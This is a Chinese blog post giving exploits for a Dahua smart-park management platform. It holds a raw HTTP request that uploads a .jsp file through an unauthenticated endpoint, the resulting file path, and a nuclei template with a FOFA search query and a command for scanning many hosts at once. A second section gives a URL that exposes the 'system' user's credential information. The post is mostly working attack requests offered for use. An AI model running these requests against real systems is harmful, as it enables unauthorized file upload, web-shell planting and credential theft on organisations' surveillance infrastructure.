大华智慧园区综合管理平文件上传(附nuclei POC)、密码泄露漏洞

忘是亡心i 2024-05-23 14:16 53阅读 0赞

### 1、大华智慧园区综合管理平文件上传漏洞(附nuclei POC） ###

![在这里插入图片描述][9a5a5f8b6c3a43b792b79fd7de1a38d0.png]

### POC: ###

POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
    Host: 127.0.0.1
    User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
    Accept-Encoding: gzip, deflate
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: multipart/form-data; boundary=f3aeb22be281d77542546a2f71e20982
    Content-Length: 225
    
    --f3aeb22be281d77542546a2f71e20982
    Content-Disposition: form-data; name="upload"; filename="a.jsp"
    Content-Type: application/octet-stream
    Content-Transfer-Encoding: binary
    
    hello
    --f3aeb22be281d77542546a2f71e20982--

### 文件地址： ###

http://127.0.0.1/upload/emap/society_new/ico_res_7e8c5503b9f8_on.jsp

### nuclei批量检测 ###

id: dahua_zhihuiyuanqu_files_upload
    info:
      name: dahua_zhihuiyuanqu_files_upload
      author: ab0ne
      severity: critical
      description: http://xxx.xxx.xxx/emap/devicePoint_addImgIco?hasSubsystem=true
      metadata:
        max-request: 1
        fofa-query: "/WPMS/asset/lib/gridster/"
        verified: true
      tags: uploadfile
    
    requests:
      - raw:
          - |-
            POST /emap/devicePoint_addImgIco?hasSubsystem=true HTTP/1.1
            Host: {
        {
        Hostname}}
            Content-Length: 230
            Content-Type: multipart/form-data; boundary=f3aeb22be281d77542546a2f71e20982
    
            --f3aeb22be281d77542546a2f71e20982
            Content-Disposition: form-data; name="upload"; filename="a.jsp"
            Content-Type: application/octet-stream
            Content-Transfer-Encoding: binary
    
            123456789
            --f3aeb22be281d77542546a2f71e20982--
    
        req-condition: true
        matchers:
          - type: dsl
            condition: and
            dsl:
              - 'contains((body), "on.jsp") && status_code == 200'

.\nuclei.exe -t .\dahua_zhihuyuanqu-readPass.yaml -l .\url_test.txt

![在这里插入图片描述][9d7e7e5580174e66b01d103bc2efddb1.png]

### 2、密码泄露漏洞 ###

http://127.0.0.1/admin/user_getUserInfoByUserName.action?userName=system

![在这里插入图片描述][22ce37ee6587432fa2ca6d7f0eda6407.png]

[9a5a5f8b6c3a43b792b79fd7de1a38d0.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/e18824395b324d63b8a4331e0a4c6221.png
[9d7e7e5580174e66b01d103bc2efddb1.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/61e81ee8ceae4896a38a2f6c3905dff5.png
[22ce37ee6587432fa2ca6d7f0eda6407.png]: https://image.dandelioncloud.cn/pgy_files/images/2024/05/23/d0935b384ada4a3e9babad0dcdff6118.png